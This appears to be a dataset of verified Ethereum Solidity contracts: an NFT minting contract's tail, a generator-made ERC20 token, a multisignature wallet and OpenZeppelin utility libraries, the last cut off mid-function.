_exists(tokenId),
"ERC721Metadata: URI query for nonexistent token"
);
if(revealed == false) {
return notRevealedUri;
}
string memory currentBaseURI = _baseURI();
return bytes(currentBaseURI).length > 0
? string(abi.encodePacked(currentBaseURI, tokenId.toString(), baseExtension))
: "";
}
//only owner
function reveal() public onlyOwner() {
revealed = true;
}
function setNftPerAddressLimit(uint256 _limit) public onlyOwner() {
nftPerAddressLimit = _limit;
}
function setCost(uint256 _newCost) public onlyOwner() {
cost = _newCost;
}
function setmaxMintAmount(uint256 _newmaxMintAmount) public onlyOwner() {
maxMintAmount = _newmaxMintAmount;
}
function setBaseURI(string memory _newBaseURI) public onlyOwner {
baseURI = _newBaseURI;
}
function setBaseExtension(string memory _newBaseExtension) public onlyOwner {
baseExtension = _newBaseExtension;
}
function setNotRevealedURI(string memory _notRevealedURI) public onlyOwner {
notRevealedUri = _notRevealedURI;
}
function pause(bool _state) public onlyOwner {
paused = _state;
}
function setOnlyWhitelisted(bool _state) public onlyOwner {
onlyWhitelisted = _state;
}
function whitelistUsers(address[] calldata _users) public onlyOwner {
delete whitelistedAddresses;
whitelistedAddresses = _users;
}
function withdraw() public payable onlyOwner {
(bool success, ) = payable(msg.sender).call{value: address(this).balance}("");
require(success);
}
}
|
True
|
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/**
*Submitted for verification at Etherscan.io on 2021-05-25
*/
// SPDX-License-Identifier: MIT
/*
* Token has been generated for FREE using https://vittominacori.github.io/erc20-generator/
*
* NOTE: "Contract Source Code Verified (Similar Match)" means that this Token is similar to other tokens deployed
* using the same generator. It is not an issue. It means that you won't need to verify your source code because of
* it is already verified.
*
* DISCLAIMER: GENERATOR'S AUTHOR IS FREE OF ANY LIABILITY REGARDING THE TOKEN AND THE USE THAT IS MADE OF IT.
* The following code is provided under MIT License. Anyone can use it as per their needs.
* The generator's purpose is to make people able to tokenize their ideas without coding or paying for it.
* Source code is well tested and continuously updated to reduce risk of bugs and to introduce language optimizations.
* Anyway the purchase of tokens involves a high degree of risk. Before acquiring tokens, it is recommended to
* carefully weighs all the information and risks detailed in Token owner's Conditions.
*/
// File: @openzeppelin/contracts/token/ERC20/IERC20.sol
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// File: @openzeppelin/contracts/token/ERC20/extensions/IERC20Metadata.sol
pragma solidity ^0.8.0;
/**
* @dev Interface for the optional metadata functions from the ERC20 standard.
*
* _Available since v4.1._
*/
interface IERC20Metadata is IERC20 {
/**
* @dev Returns the name of the token.
*/
function name() external view returns (string memory);
/**
* @dev Returns the symbol of the token.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the decimals places of the token.
*/
function decimals() external view returns (uint8);
}
// File: @openzeppelin/contracts/utils/Context.sol
pragma solidity ^0.8.0;
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
// File: @openzeppelin/contracts/token/ERC20/ERC20.sol
pragma solidity ^0.8.0;
/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin guidelines: functions revert instead
* of returning `false` on failure. This behavior is nonetheless conventional
* and does not conflict with the expectations of ERC20 applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/
contract ERC20 is Context, IERC20, IERC20Metadata {
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
/**
* @dev Sets the values for {name} and {symbol}.
*
* The defaut value of {decimals} is 18. To select a different value for
* {decimals} you should overload it.
*
* All two of these values are immutable: they can only be set once during
* construction.
*/
constructor (string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
/**
* @dev Returns the name of the token.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless this function is
* overridden;
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view virtual override returns (uint8) {
return 18;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20}.
*
* Requirements:
*
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
uint256 currentAllowance = _allowances[sender][_msgSender()];
require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
_approve(sender, _msgSender(), currentAllowance - amount);
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
uint256 currentAllowance = _allowances[_msgSender()][spender];
require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
_approve(_msgSender(), spender, currentAllowance - subtractedValue);
return true;
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
uint256 senderBalance = _balances[sender];
require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
_balances[sender] = senderBalance - amount;
_balances[recipient] += amount;
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements:
*
* - `to` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply += amount;
_balances[account] += amount;
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
uint256 accountBalance = _balances[account];
require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
_balances[account] = accountBalance - amount;
_totalSupply -= amount;
emit Transfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
*
* This internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be to transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
}
// File: contracts/service/ServicePayer.sol
pragma solidity ^0.8.0;
interface IPayable {
function pay(string memory serviceName) external payable;
}
/**
* @title ServicePayer
* @dev Implementation of the ServicePayer
*/
abstract contract ServicePayer {
constructor (address payable receiver, string memory serviceName) payable {
IPayable(receiver).pay{value: msg.value}(serviceName);
}
}
// File: contracts/utils/GeneratorCopyright.sol
pragma solidity ^0.8.0;
/**
* @title GeneratorCopyright
* @author ERC20 Generator (https://vittominacori.github.io/erc20-generator)
* @dev Implementation of the GeneratorCopyright
*/
contract GeneratorCopyright {
string private constant _GENERATOR = "https://vittominacori.github.io/erc20-generator";
string private _version;
constructor (string memory version_) {
_version = version_;
}
/**
* @dev Returns the token generator tool.
*/
function generator() public pure returns (string memory) {
return _GENERATOR;
}
/**
* @dev Returns the token generator version.
*/
function version() public view returns (string memory) {
return _version;
}
}
// File: contracts/token/ERC20/SimpleERC20.sol
pragma solidity ^0.8.0;
/**
* @title SimpleERC20
* @author ERC20 Generator (https://vittominacori.github.io/erc20-generator)
* @dev Implementation of the SimpleERC20
*/
contract SimpleERC20 is ERC20, ServicePayer, GeneratorCopyright("v5.0.1") {
constructor (
string memory name_,
string memory symbol_,
uint256 initialBalance_,
address payable feeReceiver_
)
ERC20(name_, symbol_)
ServicePayer(feeReceiver_, "SimpleERC20")
payable
{
require(initialBalance_ > 0, "SimpleERC20: supply cannot be zero");
_mint(_msgSender(), initialBalance_);
}
}
|
True
|
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/**
*Submitted for verification at Etherscan.io on 2021-04-28
*/
pragma solidity ^0.5.0;
/// @title Multisignature wallet - Allows multiple parties to agree on transactions before execution.
/// @author Stefan George - <[email protected]>
contract MultiSigWallet {
/*
* Events
*/
event Confirmation(address indexed sender, uint256 indexed transactionId);
event Revocation(address indexed sender, uint256 indexed transactionId);
event Submission(uint256 indexed transactionId);
event Execution(uint256 indexed transactionId);
event ExecutionFailure(uint256 indexed transactionId);
event Deposit(address indexed sender, uint256 value);
event OwnerAddition(address indexed owner);
event OwnerRemoval(address indexed owner);
event RequirementChange(uint256 required);
/*
* Constants
*/
uint256 constant public MAX_OWNER_COUNT = 50;
/*
* Storage
*/
mapping (uint256 => Transaction) public transactions;
mapping (uint256 => mapping (address => bool)) public confirmations;
mapping (address => bool) public isOwner;
address[] public owners;
uint256 public required;
uint256 public transactionCount;
struct Transaction {
address destination;
uint256 value;
bytes data;
bool executed;
uint256 timestamp;
}
/*
* Modifiers
*/
modifier onlyWallet() {
require(msg.sender == address(this), "Only wallet");
_;
}
modifier ownerDoesNotExist(address owner) {
require(!isOwner[owner], "Owner exists");
_;
}
modifier ownerExists(address owner) {
require(isOwner[owner], "Owner does not exists");
_;
}
modifier transactionExists(uint256 transactionId) {
require(transactions[transactionId].destination != address(0), "Tx doesn't exist");
_;
}
modifier confirmed(uint256 transactionId, address owner) {
require(confirmations[transactionId][owner], "not confirmed");
_;
}
modifier notConfirmed(uint256 transactionId, address owner) {
require(!confirmations[transactionId][owner], "is already confirmed");
_;
}
modifier notExecuted(uint256 transactionId) {
require(!transactions[transactionId].executed, "tx already executed");
_;
}
modifier notNull(address _address) {
require(_address != address(0), "address is null");
_;
}
modifier validRequirement(uint256 ownerCount, uint256 _required) {
require(ownerCount <= MAX_OWNER_COUNT && _required <= ownerCount && _required != 0 && ownerCount != 0, "invalid requirement");
_;
}
/// @dev Fallback function allows to deposit ether.
function() external payable {
if (msg.value > 0)
emit Deposit(msg.sender, msg.value);
}
/*
* Public functions
*/
/// @dev Contract constructor sets initial owners and required number of confirmations.
/// @param _owners List of initial owners.
/// @param _required Number of required confirmations.
constructor(address[] memory _owners, uint256 _required) public validRequirement(_owners.length, _required) {
for (uint256 i = 0; i < _owners.length; i++) {
require(!isOwner[_owners[i]] && _owners[i] != address(0), "is already owner");
isOwner[_owners[i]] = true;
}
owners = _owners;
required = _required;
}
/// @dev Allows to add a new owner. Transaction has to be sent by wallet.
/// @param owner Address of new owner to add.
function addOwner(address owner) public
onlyWallet
ownerDoesNotExist(owner)
notNull(owner)
validRequirement(owners.length + 1, required)
{
isOwner[owner] = true;
owners.push(owner);
emit OwnerAddition(owner);
}
/// @dev Allows to remove an owner. Transaction has to be sent by wallet.
/// @param owner Address of owner to remove.
function removeOwner(address owner) public onlyWallet ownerExists(owner) {
isOwner[owner] = false;
for (uint256 i = 0; i < owners.length - 1; i++){
if (owners[i] == owner) {
owners[i] = owners[owners.length - 1];
break;
}
}
owners.length -= 1;
if (required > owners.length)
changeRequirement(owners.length);
emit OwnerRemoval(owner);
}
/// @dev Allows to replace an owner with a new owner. Transaction has to be sent by wallet.
/// @param owner Address of owner to be replaced.
/// @param newOwner Address of new owner.
function replaceOwner(address owner, address newOwner) public onlyWallet ownerExists(owner) ownerDoesNotExist(newOwner) {
for(uint256 i = 0; i < owners.length; i++) {
if (owners[i] == owner) {
owners[i] = newOwner;
break;
}
}
isOwner[owner] = false;
isOwner[newOwner] = true;
emit OwnerRemoval(owner);
emit OwnerAddition(newOwner);
}
/// @dev Allows to change the number of required confirmations. Transaction has to be sent by wallet.
/// @param _required Number of required confirmations.
function changeRequirement(uint256 _required) public onlyWallet validRequirement(owners.length, _required) {
required = _required;
emit RequirementChange(_required);
}
/// @dev Allows an owner to submit and confirm a transaction.
/// @param destination Transaction target address.
/// @param value Transaction ether value.
/// @param data Transaction data payload.
/// @return Returns transaction ID.
function submitTransaction(address destination, uint256 value, bytes memory data) public returns (uint256 transactionId) {
transactionId = addTransaction(destination, value, data);
confirmTransaction(transactionId);
}
/// @dev Allows an owner to confirm a transaction.
/// @param transactionId Transaction ID.
function confirmTransaction(uint256 transactionId) public
ownerExists(msg.sender)
transactionExists(transactionId)
notConfirmed(transactionId, msg.sender)
{
confirmations[transactionId][msg.sender] = true;
emit Confirmation(msg.sender, transactionId);
executeTransaction(transactionId);
}
/// @dev Allows an owner to revoke a confirmation for a transaction.
/// @param transactionId Transaction ID.
function revokeConfirmation(uint256 transactionId) public
ownerExists(msg.sender)
confirmed(transactionId, msg.sender)
notExecuted(transactionId)
{
confirmations[transactionId][msg.sender] = false;
emit Revocation(msg.sender, transactionId);
}
/// @dev Allows anyone to execute a confirmed transaction.
/// @param transactionId Transaction ID.
function executeTransaction(uint256 transactionId) public
ownerExists(msg.sender)
confirmed(transactionId, msg.sender)
notExecuted(transactionId)
{
if (isConfirmed(transactionId)) {
Transaction storage txn = transactions[transactionId];
txn.executed = true;
if (external_call(txn.destination, txn.value, txn.data.length, txn.data))
emit Execution(transactionId);
else {
emit ExecutionFailure(transactionId);
txn.executed = false;
}
}
}
// call has been separated into its own function in order to take advantage
// of the Solidity's code generator to produce a loop that copies tx.data into memory.
function external_call(address destination, uint256 value, uint256 dataLength, bytes memory data) internal returns (bool) {
bool result;
assembly {
let x := mload(0x40) // "Allocate" memory for output (0x40 is where "free memory" pointer is stored by convention)
let d := add(data, 32) // First 32 bytes are the padded length of data, so exclude that
result := call(
sub(gas, 34710), // 34710 is the value that solidity is currently emitting
// It includes callGas (700) + callVeryLow (3, to pay for SUB) + callValueTransferGas (9000) +
// callNewAccountGas (25000, in case the destination address does not exist and needs creating)
destination,
value,
d,
dataLength, // Size of the input (in bytes) - this is what fixes the padding problem
x,
0 // Output is ignored, therefore the output size is zero
)
}
return result;
}
/// @dev Returns the confirmation status of a transaction.
/// @param transactionId Transaction ID.
/// @return Confirmation status.
function isConfirmed(uint256 transactionId) public view returns (bool) {
uint256 count = 0;
for (uint256 i = 0; i < owners.length; i++) {
if (confirmations[transactionId][owners[i]])
count += 1;
if (count == required)
return true;
}
}
/*
* Internal functions
*/
/// @dev Adds a new transaction to the transaction mapping, if transaction does not exist yet.
/// @param destination Transaction target address.
/// @param value Transaction ether value.
/// @param data Transaction data payload.
/// @return Returns transaction ID.
function addTransaction(address destination, uint256 value, bytes memory data) internal
notNull(destination) returns (uint256 transactionId) {
transactionId = transactionCount;
transactions[transactionId] = Transaction({
destination: destination,
value: value,
data: data,
executed: false,
timestamp: now
});
transactionCount += 1;
emit Submission(transactionId);
}
/*
* Web3 call functions
*/
/// @dev Returns number of confirmations of a transaction.
/// @param transactionId Transaction ID.
/// @return Number of confirmations.
function getConfirmationCount(uint256 transactionId) public view returns (uint256 count) {
for (uint256 i = 0; i < owners.length; i++) {
if (confirmations[transactionId][owners[i]]) count += 1;
}
}
/// @dev Returns total number of transactions after filers are applied.
/// @param pending Include pending transactions.
/// @param executed Include executed transactions.
/// @return Total number of transactions after filters are applied.
function getTransactionCount(bool pending, bool executed) public view returns (uint256 count) {
for (uint256 i = 0; i < transactionCount; i++) {
if ( pending && !transactions[i].executed || executed && transactions[i].executed)
count += 1;
}
}
/// @dev Returns list of owners.
/// @return List of owner addresses.
function getOwners() public view returns (address[] memory) {
return owners;
}
/// @dev Returns array with owner addresses, which confirmed transaction.
/// @param transactionId Transaction ID.
/// @return Returns array of owner addresses.
function getConfirmations(uint256 transactionId) public view returns (address[] memory _confirmations) {
address[] memory confirmationsTemp = new address[](owners.length);
uint256 count = 0;
uint256 i;
for (i = 0; i < owners.length; i++) {
if (confirmations[transactionId][owners[i]]) {
confirmationsTemp[count] = owners[i];
count += 1;
}
}
_confirmations = new address[](count);
for (i = 0; i < count; i++) {
_confirmations[i] = confirmationsTemp[i];
}
}
/// @dev Returns list of transaction IDs in defined range.
/// @param from Index start position of transaction array.
/// @param to Index end position of transaction array.
/// @param pending Include pending transactions.
/// @param executed Include executed transactions.
/// @return Returns array of transaction IDs.
function getTransactionIds(uint256 from, uint256 to, bool pending, bool executed) public view returns (uint256[] memory _transactionIds) {
uint256[] memory transactionIdsTemp = new uint256[](transactionCount);
uint256 count = 0;
uint256 i;
for (i = 0; i < transactionCount; i++)
if ( pending && !transactions[i].executed || executed && transactions[i].executed) {
transactionIdsTemp[count] = i;
count += 1;
}
_transactionIds = new uint256[](to - from);
for (i = from; i < to; i++){
_transactionIds[i - from] = transactionIdsTemp[i];
}
}
function getTransaction(uint256 transactionId) public view returns (bytes memory, address, bool, uint256) {
Transaction memory txn = transactions[transactionId];
return (
txn.data,
txn.destination,
txn.executed,
txn.timestamp
);
}
}
|
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/**
*Submitted for verification at Etherscan.io on 2021-06-06
*/
// File: http://github.com/OpenZeppelin/openzeppelin-contracts/contracts/utils/Strings.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
library Strings {
bytes16 private constant alphabet = "0123456789abcdef";
function toString(uint256 value) internal pure returns (string memory) {
if (value == 0) {
return "0";
}
uint256 temp = value;
uint256 digits;
while (temp != 0) {
digits++;
temp /= 10;
}
bytes memory buffer = new bytes(digits);
while (value != 0) {
digits -= 1;
buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));
value /= 10;
}
return string(buffer);
}
function toHexString(uint256 value) internal pure returns (string memory) {
if (value == 0) {
return "0x00";
}
uint256 temp = value;
uint256 length = 0;
while (temp != 0) {
length++;
temp >>= 8;
}
return toHexString(value, length);
}
function toHexString(uint256 value, uint256 length) internal pure returns (string memory) {
bytes memory buffer = new bytes(2 * length + 2);
buffer[0] = "0";
buffer[1] = "x";
for (uint256 i = 2 * length + 1; i > 1; --i) {
buffer[i] = alphabet[value & 0xf];
value >>= 4;
}
require(value == 0, "Strings: hex length insufficient");
return string(buffer);
}
}
pragma solidity ^0.8.0;
library EnumerableMap {
struct MapEntry {
bytes32 _key;
bytes32 _value;
}
struct Map {
MapEntry[] _entries;
mapping (bytes32 => uint256) _indexes;
}
function _set(Map storage map, bytes32 key, bytes32 value) private returns (bool) {
uint256 keyIndex = map._indexes[key];
if (keyIndex == 0) { // Equivalent to !contains(map, key)
map._entries.push(MapEntry({ _key: key, _value: value }));
map._indexes[key] = map._entries.length;
return true;
} else {
map._entries[keyIndex - 1]._value = value;
return false;
}
}
function _remove(Map storage map, bytes32 key) private returns (bool) {
uint256 keyIndex = map._indexes[key];
if (keyIndex != 0) { // Equivalent to contains(map, key)
uint256 toDeleteIndex = keyIndex - 1;
uint256 lastIndex = map._entries.length - 1;
MapEntry storage lastEntry = map._entries[lastIndex];
map._entries[toDeleteIndex] = lastEntry;
map._indexes[lastEntry._key] = toDeleteIndex + 1; // All indexes are 1-based
map._entries.pop();
delete map._indexes[key];
return true;
} else {
return false;
}
}
function _contains(Map storage map, bytes32 key) private view returns (bool) {
return map._indexes[key] != 0;
}
function _length(Map storage map) private view returns (uint256) {
return map._entries.length;
}
function _at(Map storage map, uint256 index) private view returns (bytes32, bytes32) {
require(map._entries.length > index, "EnumerableMap: index out of bounds");
MapEntry storage entry = map._entries[index];
return (entry._key, entry._value);
}
function _tryGet(Map storage map, bytes32 key) private view returns (bool, bytes32) {
uint256 keyIndex = map._indexes[key];
if (keyIndex == 0) return (false, 0); // Equivalent to contains(map, key)
return (true, map._entries[keyIndex - 1]._value); // All indexes are 1-based
}
function _get(Map storage map, bytes32 key) private view returns (bytes32) {
uint256 keyIndex = map._indexes[key];
require(keyIndex != 0, "EnumerableMap: nonexistent key"); // Equivalent to contains(map, key)
return map._entries[keyIndex - 1]._value; // All indexes are 1-based
}
function _get(Map storage map, bytes32 key, string memory errorMessage) private view returns (bytes32) {
uint256 keyIndex = map._indexes[key];
require(keyIndex != 0, errorMessage); // Equivalent to contains(map, key)
return map._entries[keyIndex - 1]._value; // All indexes are 1-based
}
struct UintToAddressMap {
Map _inner;
}
function set(UintToAddressMap storage map, uint256 key, address value) internal returns (bool) {
return _set(map._inner, bytes32(key), bytes32(uint256(uint160(value))));
}
function remove(UintToAddressMap storage map, uint256 key) internal returns (bool) {
return _remove(map._inner, bytes32(key));
}
function contains(UintToAddressMap storage map, uint256 key) internal view returns (bool) {
return _contains(map._inner, bytes32(key));
}
function length(UintToAddressMap storage map) internal view returns (uint256) {
return _length(map._inner);
}
function at(UintToAddressMap storage map, uint256 index) internal view returns (uint256, address) {
(bytes32 key, bytes32 value) = _at(map._inner, index);
return (uint256(key), address(uint160(uint256(value))));
}
function tryGet(UintToAddressMap storage map, uint256 key) internal view returns (bool, address) {
(bool success, bytes32 value) = _tryGet(map._inner, bytes32(key));
return (success, address(uint160(uint256(value))));
}
function get(UintToAddressMap storage map, uint256 key) internal view returns (address) {
return address(uint160(uint256(_get(map._inner, bytes32(key)))));
}
function get(UintToAddressMap storage map, uint256 key, string memory errorMessage) internal view returns (address) {
return address(uint160(uint256(_get(map._inner, bytes32(key), errorMessage))));
}
}
pragma solidity ^0.8.0;
library EnumerableSet {
struct Set {
bytes32[] _values;
mapping (bytes32 => uint256) _indexes;
}
function _add(Set storage set, bytes32 value) private returns (bool) {
if (!_contains(set, value)) {
set._values.push(value);
set._indexes[value] = set._values.length;
return true;
} else {
return false;
}
}
function _remove(Set storage set, bytes32 value) private returns (bool) {
uint256 valueIndex = set._indexes[value];
if (valueIndex != 0) { // Equivalent to contains(set, value)
uint256 toDeleteIndex = valueIndex - 1;
uint256 lastIndex = set._values.length - 1;
bytes32 lastvalue = set._values[lastIndex];
set._values[toDeleteIndex] = lastvalue;
set._indexes[lastvalue] = toDeleteIndex + 1; // All indexes are 1-based
set._values.pop();
delete set._indexes[value];
return true;
} else {
return false;
}
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function _contains(Set storage set, bytes32 value) private view returns (bool) {
return set._indexes[value] != 0;
}
/**
* @dev Returns the number of values on the set. O(1).
*/
function _length(Set storage set) private view returns (uint256) {
return set._values.length;
}
function _at(Set storage set, uint256 index) private view returns (bytes32) {
require(set._values.length > index, "EnumerableSet: index out of bounds");
return set._values[index];
}
// Bytes32Set
struct Bytes32Set {
Set _inner;
}
function add(Bytes32Set storage set, bytes32 value) internal returns (bool) {
return _add(set._inner, value);
}
function remove(Bytes32Set storage set, bytes32 value) internal returns (bool) {
return _remove(set._inner, value);
}
function contains(Bytes32Set storage set, bytes32 value) internal view returns (bool) {
return _contains(set._inner, value);
}
function length(Bytes32Set storage set) internal view returns (uint256) {
return _length(set._inner);
}
function at(Bytes32Set storage set, uint256 index) internal view returns (bytes32) {
return _at(set._inner, index);
}
// AddressSet
struct AddressSet {
Set _inner;
}
function add(AddressSet storage set, address value) internal returns (bool) {
return _add(set._inner, bytes32(uint256(uint160(value))));
}
function remove(AddressSet storage set, address value) internal returns (bool) {
return _remove(set._inner, bytes32(uint256(uint160(value))));
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(AddressSet storage set, address value) internal view returns (bool) {
return _contains(set._inner, bytes32(uint256(uint160(value))));
}
/**
* @dev Returns the number of values in the set. O(1).
*/
function length(AddressSet storage set) internal view returns (uint256) {
return _length(set._inner);
}
function at(AddressSet storage set, uint256 index) internal view returns (address) {
return address(uint160(uint256(_at(set._inner, index))));
}
// UintSet
struct UintSet {
Set _inner;
}
function add(UintSet storage set, uint256 value) internal returns (bool) {
return _add(set._inner, bytes32(value));
}
function remove(UintSet storage set, uint256 value) internal returns (bool) {
return _remove(set._inner, bytes32(value));
}
function contains(UintSet storage set, uint256 value) internal view returns (bool) {
return _contains(set._inner, bytes32(value));
}
/**
* @dev Returns the number of values on the set. O(1).
*/
function length(UintSet storage set) internal view returns (uint256) {
return _length(set._inner);
}
function at(UintSet storage set, uint256 index) internal view returns (uint256) {
return uint256(_at(set._inner, index));
}
}
pragma solidity ^0.8.0;
library Address {
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
